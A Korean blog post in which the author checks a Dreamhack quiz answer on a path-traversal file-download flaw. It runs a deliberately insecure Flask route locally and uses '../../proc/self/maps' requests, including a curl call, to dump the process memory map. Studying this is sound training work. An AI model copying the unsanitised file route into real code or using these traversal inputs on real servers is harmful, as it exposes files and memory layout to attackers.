잡담, 뻘글

Quiz: File Vulnerability

Falto 2025. 2. 1. 20:21
반응형

Quiz: File Vulnerability | Dreamhack (로그인 필요)

 

 

로그인 | Dreamhack

 

dreamhack.io

답을 도저히 모르겠어서 https://dreamhack.io/forum/qna/2234 이거 보고 알아냈다.

Q3. 파일 다운로드 취약점이 발생하는 코드이다, "filename" 인자에 어떠한 값을 넣어야 현재 실행중인 프로세스의 메모리 정보를 볼 수 있는가? 해당하는 답안을 모두 고르시오.

@app.route("/download")
def download():
    filename = request.args.get("filename")
    content = open("/data/uploads/" + filename, "rb").read()
    return content

정답으로 생각되는 답안을 모두 선택해 주세요.

../proc/self/maps
../../etc/passwd
../../../etc/memory
../root/memory_information
../../proc/self/maps
../../etc/memory
../../../proc/self/maps

정답은 ../../proc/self/maps와 ../../../proc/self/maps 두 개다.

근데 이상하다. /data/uploads/ 에서 한 번 위로 가면 /data, 두 번 위로 가면 /가 되고, 거기서 proc -> self -> maps로 가야 되니까 정답은 ../../proc/self/maps 아닌가? 왜 ../../../proc/self/maps도 정답이지?

정말 저게 정답인지 궁금해서 로컬 환경에서 직접 실험해 봤다. 일단 /proc/self/maps 가 존재하는 건 cat으로 확인했다.

a@DESKTOP-B1KU0M1:~$ cat /proc/self/maps
556ee4ad8000-556ee4ada000 r--p 00000000 08:20 1501                       /usr/bin/cat
556ee4ada000-556ee4adf000 r-xp 00002000 08:20 1501                       /usr/bin/cat
556ee4adf000-556ee4ae1000 r--p 00007000 08:20 1501                       /usr/bin/cat
556ee4ae1000-556ee4ae2000 r--p 00008000 08:20 1501                       /usr/bin/cat
556ee4ae2000-556ee4ae3000 rw-p 00009000 08:20 1501                       /usr/bin/cat
556eedbaf000-556eedbd0000 rw-p 00000000 00:00 0                          [heap]
7ff302c26000-7ff302c48000 rw-p 00000000 00:00 0
7ff302c48000-7ff302ca1000 r--p 00000000 08:20 2591                       /usr/lib/locale/C.utf8/LC_CTYPE
7ff302ca1000-7ff302ca2000 r--p 00000000 08:20 2598                       /usr/lib/locale/C.utf8/LC_NUMERIC
7ff302ca2000-7ff302ca3000 r--p 00000000 08:20 2601                       /usr/lib/locale/C.utf8/LC_TIME
7ff302ca3000-7ff302ca4000 r--p 00000000 08:20 2590                       /usr/lib/locale/C.utf8/LC_COLLATE
7ff302ca4000-7ff302ca5000 r--p 00000000 08:20 2596                       /usr/lib/locale/C.utf8/LC_MONETARY
7ff302ca5000-7ff302ca6000 r--p 00000000 08:20 2595                       /usr/lib/locale/C.utf8/LC_MESSAGES/SYS_LC_MESSAGES
7ff302ca6000-7ff302ca7000 r--p 00000000 08:20 2599                       /usr/lib/locale/C.utf8/LC_PAPER
7ff302ca7000-7ff302cae000 r--s 00000000 08:20 12404                      /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7ff302cae000-7ff302cb1000 rw-p 00000000 00:00 0
7ff302cb1000-7ff302cd9000 r--p 00000000 08:20 12688                      /usr/lib/x86_64-linux-gnu/libc.so.6
7ff302cd9000-7ff302e61000 r-xp 00028000 08:20 12688                      /usr/lib/x86_64-linux-gnu/libc.so.6
7ff302e61000-7ff302eb0000 r--p 001b0000 08:20 12688                      /usr/lib/x86_64-linux-gnu/libc.so.6
7ff302eb0000-7ff302eb4000 r--p 001fe000 08:20 12688                      /usr/lib/x86_64-linux-gnu/libc.so.6
7ff302eb4000-7ff302eb6000 rw-p 00202000 08:20 12688                      /usr/lib/x86_64-linux-gnu/libc.so.6
7ff302eb6000-7ff302ec3000 rw-p 00000000 00:00 0
7ff302ec3000-7ff302ec4000 r--p 00000000 08:20 2597                       /usr/lib/locale/C.utf8/LC_NAME
7ff302ec4000-7ff302ec5000 r--p 00000000 08:20 2589                       /usr/lib/locale/C.utf8/LC_ADDRESS
7ff302ec5000-7ff302ec6000 r--p 00000000 08:20 2600                       /usr/lib/locale/C.utf8/LC_TELEPHONE
7ff302ec6000-7ff302ec7000 r--p 00000000 08:20 2593                       /usr/lib/locale/C.utf8/LC_MEASUREMENT
7ff302ec7000-7ff302ec8000 r--p 00000000 08:20 2592                       /usr/lib/locale/C.utf8/LC_IDENTIFICATION
7ff302ec8000-7ff302eca000 rw-p 00000000 00:00 0
7ff302eca000-7ff302ecb000 r--p 00000000 08:20 12485                      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ff302ecb000-7ff302ef6000 r-xp 00001000 08:20 12485                      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ff302ef6000-7ff302f00000 r--p 0002c000 08:20 12485                      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ff302f00000-7ff302f02000 r--p 00036000 08:20 12485                      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ff302f02000-7ff302f04000 rw-p 00038000 08:20 12485                      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffc23f87000-7ffc23fa8000 rw-p 00000000 00:00 0                          [stack]
7ffc23fd8000-7ffc23fdc000 r--p 00000000 00:00 0                          [vvar]
7ffc23fdc000-7ffc23fde000 r-xp 00000000 00:00 0                          [vdso]

그리고 아래는 app.py이다.

import flask
from flask import request
app=flask.Flask(__name__)
@app.route("/download")
def download():
    filename = request.args.get("filename")
    content = open("/data/uploads/" + filename, "rb").read()
    return content
app.run()

근데 실험해봤더니 둘다 안 된다.

[2025-02-01 20:11:30,562] ERROR in app: Exception on /download [GET]
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/flask/app.py", line 1463, in wsgi_app
    response = self.full_dispatch_request()
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/flask/app.py", line 872, in full_dispatch_request
    rv = self.handle_user_exception(e)
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/flask/app.py", line 870, in full_dispatch_request
    rv = self.dispatch_request()
         ^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/flask/app.py", line 855, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)  # type: ignore[no-any-return]
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/a/app.py", line 7, in download
    content = open("/data/uploads/" + filename, "rb").read()
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory: '/data/uploads/../../proc/self/maps'
127.0.0.1 - - [01/Feb/2025 20:11:30] "GET /download?filename=../../proc/self/maps HTTP/1.1" 500 -
[2025-02-01 20:11:39,380] ERROR in app: Exception on /download [GET]
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/flask/app.py", line 1463, in wsgi_app
    response = self.full_dispatch_request()
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/flask/app.py", line 872, in full_dispatch_request
    rv = self.handle_user_exception(e)
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/flask/app.py", line 870, in full_dispatch_request
    rv = self.dispatch_request()
         ^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/flask/app.py", line 855, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**view_args)  # type: ignore[no-any-return]
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/a/app.py", line 7, in download
    content = open("/data/uploads/" + filename, "rb").read()
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
FileNotFoundError: [Errno 2] No such file or directory: '/data/uploads/../../../proc/self/maps'

둘다 오답이라고? Dreamhack도 틀렸고 나도 틀린건가?

그런 줄 알았는데 그게 아니었다. 확인해보니 /data/uploads directory가 없었다. 즉, 경로를 찾을 때 우선 / -> data -> uploads 순으로 이동해야 하는데 /data/uploads 폴더를 안 만들어놓아서 위와 같은 결과가 나와버린 것이다.

/data/uploads directory를 만든 후 다시 실험해보면 아래와 같다.

127.0.0.1 - - [02/Feb/2025 00:54:08] "GET /download?filename=../../proc/self/maps HTTP/1.1" 200 -
127.0.0.1 - - [02/Feb/2025 00:54:13] "GET /download?filename=../../../proc/self/maps HTTP/1.1" 200 -
127.0.0.1 - - [02/Feb/2025 00:54:16] "GET /download?filename=../../../../proc/self/maps HTTP/1.1" 200 -
127.0.0.1 - - [02/Feb/2025 01:00:37] "GET /download?filename=../proc/self/maps HTTP/1.1" 500 -

즉 Dreamhack에서 제공하는 정답이 맞다. ../../도 되고, ../../../도 되고, ../../../../도 된다. 신기하다.

참고로 curl 때리면 아래와 같이 결과가 아주 잘 나온다.

curl http://127.0.0.1:5000/download?filename=../../../../proc/self/maps
00400000-00420000 r--p 00000000 08:20 10235                              /usr/bin/python3.12
00420000-00704000 r-xp 00020000 08:20 10235                              /usr/bin/python3.12
00704000-00a28000 r--p 00304000 08:20 10235                              /usr/bin/python3.12
00a28000-00a29000 r--p 00628000 08:20 10235                              /usr/bin/python3.12
00a29000-00ba7000 rw-p 00629000 08:20 10235                              /usr/bin/python3.12
00ba7000-00baa000 rw-p 00000000 00:00 0
255a1000-25b17000 rw-p 00000000 00:00 0                                  [heap]
7fd75c000000-7fd75c021000 rw-p 00000000 00:00 0
7fd75c021000-7fd760000000 ---p 00000000 00:00 0
7fd764000000-7fd764021000 rw-p 00000000 00:00 0
7fd764021000-7fd768000000 ---p 00000000 00:00 0
7fd768c90000-7fd768d90000 rw-p 00000000 00:00 0
7fd768d90000-7fd768d91000 ---p 00000000 00:00 0
7fd768d91000-7fd769591000 rw-p 00000000 00:00 0
7fd769591000-7fd769592000 ---p 00000000 00:00 0
7fd769592000-7fd769d92000 rw-p 00000000 00:00 0
7fd769d92000-7fd769d94000 r--p 00000000 08:20 12774                      /usr/lib/x86_64-linux-gnu/libffi.so.8.1.4
7fd769d94000-7fd769d9b000 r-xp 00002000 08:20 12774                      /usr/lib/x86_64-linux-gnu/libffi.so.8.1.4
7fd769d9b000-7fd769d9c000 r--p 00009000 08:20 12774                      /usr/lib/x86_64-linux-gnu/libffi.so.8.1.4
7fd769d9c000-7fd769d9d000 r--p 0000a000 08:20 12774                      /usr/lib/x86_64-linux-gnu/libffi.so.8.1.4
7fd769d9d000-7fd769d9e000 rw-p 0000b000 08:20 12774                      /usr/lib/x86_64-linux-gnu/libffi.so.8.1.4
7fd769d9e000-7fd76a19e000 rw-p 00000000 00:00 0
7fd76a19e000-7fd76a1a5000 r--p 00000000 08:20 10740                      /usr/lib/python3.12/lib-dynload/_decimal.cpython-312-x86_64-linux-gnu.so
7fd76a1a5000-7fd76a1e5000 r-xp 00007000 08:20 10740                      /usr/lib/python3.12/lib-dynload/_decimal.cpython-312-x86_64-linux-gnu.so
7fd76a1e5000-7fd76a1f6000 r--p 00047000 08:20 10740                      /usr/lib/python3.12/lib-dynload/_decimal.cpython-312-x86_64-linux-gnu.so
7fd76a1f6000-7fd76a1f7000 r--p 00057000 08:20 10740                      /usr/lib/python3.12/lib-dynload/_decimal.cpython-312-x86_64-linux-gnu.so
7fd76a1f7000-7fd76a1fa000 rw-p 00058000 08:20 10740                      /usr/lib/python3.12/lib-dynload/_decimal.cpython-312-x86_64-linux-gnu.so
7fd76a1fa000-7fd76a360000 rw-p 00000000 00:00 0
7fd76a360000-7fd76a364000 r--p 00000000 08:20 10514                      /usr/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fd76a364000-7fd76a36a000 r-xp 00004000 08:20 10514                      /usr/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fd76a36a000-7fd76a36e000 r--p 0000a000 08:20 10514                      /usr/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fd76a36e000-7fd76a36f000 r--p 0000d000 08:20 10514                      /usr/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fd76a36f000-7fd76a371000 rw-p 0000e000 08:20 10514                      /usr/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fd76a371000-7fd76a471000 rw-p 00000000 00:00 0
7fd76a471000-7fd76a474000 r--p 00000000 08:20 12890                      /usr/lib/x86_64-linux-gnu/liblzma.so.5.4.5
7fd76a474000-7fd76a496000 r-xp 00003000 08:20 12890                      /usr/lib/x86_64-linux-gnu/liblzma.so.5.4.5
7fd76a496000-7fd76a4a1000 r--p 00025000 08:20 12890                      /usr/lib/x86_64-linux-gnu/liblzma.so.5.4.5
7fd76a4a1000-7fd76a4a2000 r--p 00030000 08:20 12890                      /usr/lib/x86_64-linux-gnu/liblzma.so.5.4.5
7fd76a4a2000-7fd76a4a3000 rw-p 00031000 08:20 12890                      /usr/lib/x86_64-linux-gnu/liblzma.so.5.4.5
7fd76a4a3000-7fd76a4a6000 r--p 00000000 08:20 10743                      /usr/lib/python3.12/lib-dynload/_lzma.cpython-312-x86_64-linux-gnu.so
7fd76a4a6000-7fd76a4ab000 r-xp 00003000 08:20 10743                      /usr/lib/python3.12/lib-dynload/_lzma.cpython-312-x86_64-linux-gnu.so
7fd76a4ab000-7fd76a4ae000 r--p 00008000 08:20 10743                      /usr/lib/python3.12/lib-dynload/_lzma.cpython-312-x86_64-linux-gnu.so
7fd76a4ae000-7fd76a4af000 r--p 0000a000 08:20 10743                      /usr/lib/python3.12/lib-dynload/_lzma.cpython-312-x86_64-linux-gnu.so
7fd76a4af000-7fd76a4b0000 rw-p 0000b000 08:20 10743                      /usr/lib/python3.12/lib-dynload/_lzma.cpython-312-x86_64-linux-gnu.so
7fd76a4b0000-7fd76a4b2000 r--p 00000000 08:20 12687                      /usr/lib/x86_64-linux-gnu/libbz2.so.1.0.4
7fd76a4b2000-7fd76a4c0000 r-xp 00002000 08:20 12687                      /usr/lib/x86_64-linux-gnu/libbz2.so.1.0.4
7fd76a4c0000-7fd76a4c2000 r--p 00010000 08:20 12687                      /usr/lib/x86_64-linux-gnu/libbz2.so.1.0.4
7fd76a4c2000-7fd76a4c3000 r--p 00011000 08:20 12687                      /usr/lib/x86_64-linux-gnu/libbz2.so.1.0.4
7fd76a4c3000-7fd76a4c4000 rw-p 00012000 08:20 12687                      /usr/lib/x86_64-linux-gnu/libbz2.so.1.0.4
7fd76a4c4000-7fd76a4c6000 r--p 00000000 08:20 10379                      /usr/lib/python3.12/lib-dynload/_bz2.cpython-312-x86_64-linux-gnu.so
7fd76a4c6000-7fd76a4c9000 r-xp 00002000 08:20 10379                      /usr/lib/python3.12/lib-dynload/_bz2.cpython-312-x86_64-linux-gnu.so
7fd76a4c9000-7fd76a4cb000 r--p 00005000 08:20 10379                      /usr/lib/python3.12/lib-dynload/_bz2.cpython-312-x86_64-linux-gnu.so
7fd76a4cb000-7fd76a4cc000 r--p 00006000 08:20 10379                      /usr/lib/python3.12/lib-dynload/_bz2.cpython-312-x86_64-linux-gnu.so
7fd76a4cc000-7fd76a4cd000 rw-p 00007000 08:20 10379                      /usr/lib/python3.12/lib-dynload/_bz2.cpython-312-x86_64-linux-gnu.so
7fd76a4cd000-7fd76a5cd000 rw-p 00000000 00:00 0
7fd76a5cd000-7fd76a680000 r--p 00000000 08:20 12708                      /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fd76a680000-7fd76a9b3000 r-xp 000b3000 08:20 12708                      /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fd76a9b3000-7fd76aa7e000 r--p 003e6000 08:20 12708                      /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fd76aa7e000-7fd76aada000 r--p 004b0000 08:20 12708                      /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fd76aada000-7fd76aadd000 rw-p 0050c000 08:20 12708                      /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fd76aadd000-7fd76aae0000 rw-p 00000000 00:00 0
7fd76aae0000-7fd76aafe000 r--p 00000000 08:20 13006                      /usr/lib/x86_64-linux-gnu/libssl.so.3
7fd76aafe000-7fd76ab60000 r-xp 0001e000 08:20 13006                      /usr/lib/x86_64-linux-gnu/libssl.so.3
7fd76ab60000-7fd76ab7c000 r--p 00080000 08:20 13006                      /usr/lib/x86_64-linux-gnu/libssl.so.3
7fd76ab7c000-7fd76ab86000 r--p 0009c000 08:20 13006                      /usr/lib/x86_64-linux-gnu/libssl.so.3
7fd76ab86000-7fd76ab8a000 rw-p 000a6000 08:20 13006                      /usr/lib/x86_64-linux-gnu/libssl.so.3
7fd76ab8a000-7fd76ab8b000 r--p 00000000 08:20 5319                       /usr/lib/python3/dist-packages/markupsafe/_speedups.cpython-312-x86_64-linux-gnu.so
7fd76ab8b000-7fd76ab8c000 r-xp 00001000 08:20 5319                       /usr/lib/python3/dist-packages/markupsafe/_speedups.cpython-312-x86_64-linux-gnu.so
7fd76ab8c000-7fd76ab8d000 r--p 00002000 08:20 5319                       /usr/lib/python3/dist-packages/markupsafe/_speedups.cpython-312-x86_64-linux-gnu.so
7fd76ab8d000-7fd76ab8e000 r--p 00002000 08:20 5319                       /usr/lib/python3/dist-packages/markupsafe/_speedups.cpython-312-x86_64-linux-gnu.so
7fd76ab8e000-7fd76ab8f000 rw-p 00003000 08:20 5319                       /usr/lib/python3/dist-packages/markupsafe/_speedups.cpython-312-x86_64-linux-gnu.so
7fd76ab8f000-7fd76aba2000 r--p 00000000 08:20 10515                      /usr/lib/python3.12/lib-dynload/_ssl.cpython-312-x86_64-linux-gnu.so
7fd76aba2000-7fd76abaf000 r-xp 00013000 08:20 10515                      /usr/lib/python3.12/lib-dynload/_ssl.cpython-312-x86_64-linux-gnu.so
7fd76abaf000-7fd76abbd000 r--p 00020000 08:20 10515                      /usr/lib/python3.12/lib-dynload/_ssl.cpython-312-x86_64-linux-gnu.so
7fd76abbd000-7fd76abbe000 r--p 0002d000 08:20 10515                      /usr/lib/python3.12/lib-dynload/_ssl.cpython-312-x86_64-linux-gnu.so
7fd76abbe000-7fd76abc7000 rw-p 0002e000 08:20 10515                      /usr/lib/python3.12/lib-dynload/_ssl.cpython-312-x86_64-linux-gnu.so
7fd76abc7000-7fd76acc7000 rw-p 00000000 00:00 0
7fd76accf000-7fd76acd7000 rw-p 00000000 00:00 0
7fd76acd7000-7fd76acdd000 r--p 00000000 08:20 10396                      /usr/lib/python3.12/lib-dynload/_ctypes.cpython-312-x86_64-linux-gnu.so
7fd76acdd000-7fd76acef000 r-xp 00006000 08:20 10396                      /usr/lib/python3.12/lib-dynload/_ctypes.cpython-312-x86_64-linux-gnu.so
7fd76acef000-7fd76acf5000 r--p 00018000 08:20 10396                      /usr/lib/python3.12/lib-dynload/_ctypes.cpython-312-x86_64-linux-gnu.so
7fd76acf5000-7fd76acf6000 r--p 0001d000 08:20 10396                      /usr/lib/python3.12/lib-dynload/_ctypes.cpython-312-x86_64-linux-gnu.so
7fd76acf6000-7fd76acfa000 rw-p 0001e000 08:20 10396                      /usr/lib/python3.12/lib-dynload/_ctypes.cpython-312-x86_64-linux-gnu.so
7fd76acfa000-7fd76adfa000 rw-p 00000000 00:00 0
7fd76adfa000-7fd76adfb000 r--p 00000000 08:20 10394                      /usr/lib/python3.12/lib-dynload/_contextvars.cpython-312-x86_64-linux-gnu.so
7fd76adfb000-7fd76adfc000 r-xp 00001000 08:20 10394                      /usr/lib/python3.12/lib-dynload/_contextvars.cpython-312-x86_64-linux-gnu.so
7fd76adfc000-7fd76adfd000 r--p 00002000 08:20 10394                      /usr/lib/python3.12/lib-dynload/_contextvars.cpython-312-x86_64-linux-gnu.so
7fd76adfd000-7fd76adfe000 r--p 00002000 08:20 10394                      /usr/lib/python3.12/lib-dynload/_contextvars.cpython-312-x86_64-linux-gnu.so
7fd76adfe000-7fd76adff000 rw-p 00003000 08:20 10394                      /usr/lib/python3.12/lib-dynload/_contextvars.cpython-312-x86_64-linux-gnu.so
7fd76adff000-7fd76ae01000 r--p 00000000 08:20 10741                      /usr/lib/python3.12/lib-dynload/_json.cpython-312-x86_64-linux-gnu.so
7fd76ae01000-7fd76ae08000 r-xp 00002000 08:20 10741                      /usr/lib/python3.12/lib-dynload/_json.cpython-312-x86_64-linux-gnu.so
7fd76ae08000-7fd76ae0a000 r--p 00009000 08:20 10741                      /usr/lib/python3.12/lib-dynload/_json.cpython-312-x86_64-linux-gnu.so
7fd76ae0a000-7fd76ae0b000 r--p 0000a000 08:20 10741                      /usr/lib/python3.12/lib-dynload/_json.cpython-312-x86_64-linux-gnu.so
7fd76ae0b000-7fd76ae0c000 rw-p 0000b000 08:20 10741                      /usr/lib/python3.12/lib-dynload/_json.cpython-312-x86_64-linux-gnu.so
7fd76ae0c000-7fd76b16e000 rw-p 00000000 00:00 0
7fd76b16e000-7fd76b175000 r--s 00000000 08:20 12404                      /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7fd76b175000-7fd76b1ce000 r--p 00000000 08:20 2591                       /usr/lib/locale/C.utf8/LC_CTYPE
7fd76b1ce000-7fd76b1d0000 rw-p 00000000 00:00 0
7fd76b1d0000-7fd76b1f8000 r--p 00000000 08:20 12688                      /usr/lib/x86_64-linux-gnu/libc.so.6
7fd76b1f8000-7fd76b380000 r-xp 00028000 08:20 12688                      /usr/lib/x86_64-linux-gnu/libc.so.6
7fd76b380000-7fd76b3cf000 r--p 001b0000 08:20 12688                      /usr/lib/x86_64-linux-gnu/libc.so.6
7fd76b3cf000-7fd76b3d3000 r--p 001fe000 08:20 12688                      /usr/lib/x86_64-linux-gnu/libc.so.6
7fd76b3d3000-7fd76b3d5000 rw-p 00202000 08:20 12688                      /usr/lib/x86_64-linux-gnu/libc.so.6
7fd76b3d5000-7fd76b3e2000 rw-p 00000000 00:00 0
7fd76b3e2000-7fd76b3e6000 r--p 00000000 08:20 12764                      /usr/lib/x86_64-linux-gnu/libexpat.so.1.9.1
7fd76b3e6000-7fd76b402000 r-xp 00004000 08:20 12764                      /usr/lib/x86_64-linux-gnu/libexpat.so.1.9.1
7fd76b402000-7fd76b40a000 r--p 00020000 08:20 12764                      /usr/lib/x86_64-linux-gnu/libexpat.so.1.9.1
7fd76b40a000-7fd76b40c000 r--p 00027000 08:20 12764                      /usr/lib/x86_64-linux-gnu/libexpat.so.1.9.1
7fd76b40c000-7fd76b40d000 rw-p 00029000 08:20 12764                      /usr/lib/x86_64-linux-gnu/libexpat.so.1.9.1
7fd76b40d000-7fd76b40f000 r--p 00000000 08:20 13097                      /usr/lib/x86_64-linux-gnu/libz.so.1.3
7fd76b40f000-7fd76b421000 r-xp 00002000 08:20 13097                      /usr/lib/x86_64-linux-gnu/libz.so.1.3
7fd76b421000-7fd76b427000 r--p 00014000 08:20 13097                      /usr/lib/x86_64-linux-gnu/libz.so.1.3
7fd76b427000-7fd76b428000 r--p 0001a000 08:20 13097                      /usr/lib/x86_64-linux-gnu/libz.so.1.3
7fd76b428000-7fd76b429000 rw-p 0001b000 08:20 13097                      /usr/lib/x86_64-linux-gnu/libz.so.1.3
7fd76b429000-7fd76b439000 r--p 00000000 08:20 12893                      /usr/lib/x86_64-linux-gnu/libm.so.6
7fd76b439000-7fd76b4b8000 r-xp 00010000 08:20 12893                      /usr/lib/x86_64-linux-gnu/libm.so.6
7fd76b4b8000-7fd76b510000 r--p 0008f000 08:20 12893                      /usr/lib/x86_64-linux-gnu/libm.so.6
7fd76b510000-7fd76b511000 r--p 000e7000 08:20 12893                      /usr/lib/x86_64-linux-gnu/libm.so.6
7fd76b511000-7fd76b512000 rw-p 000e8000 08:20 12893                      /usr/lib/x86_64-linux-gnu/libm.so.6
7fd76b513000-7fd76b519000 rw-p 00000000 00:00 0
7fd76b519000-7fd76b51a000 r--p 00000000 08:20 12485                      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fd76b51a000-7fd76b545000 r-xp 00001000 08:20 12485                      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fd76b545000-7fd76b54f000 r--p 0002c000 08:20 12485                      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fd76b54f000-7fd76b551000 r--p 00036000 08:20 12485                      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fd76b551000-7fd76b553000 rw-p 00038000 08:20 12485                      /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffc54cb3000-7ffc54cd4000 rw-p 00000000 00:00 0                          [stack]
7ffc54d43000-7ffc54d47000 r--p 00000000 00:00 0                          [vvar]
7ffc54d47000-7ffc54d49000 r-xp 00000000 00:00 0                          [vdso]

 

3줄 요약

1. /proc/self/maps에 메모리 정보가 있음

2. 최상위 경로로 이동할 때 위로 더 많이 이동해도 문제 없다.

3. 실험 결과 Dreamhack에서 제공하는 정답이 맞음.

 

반응형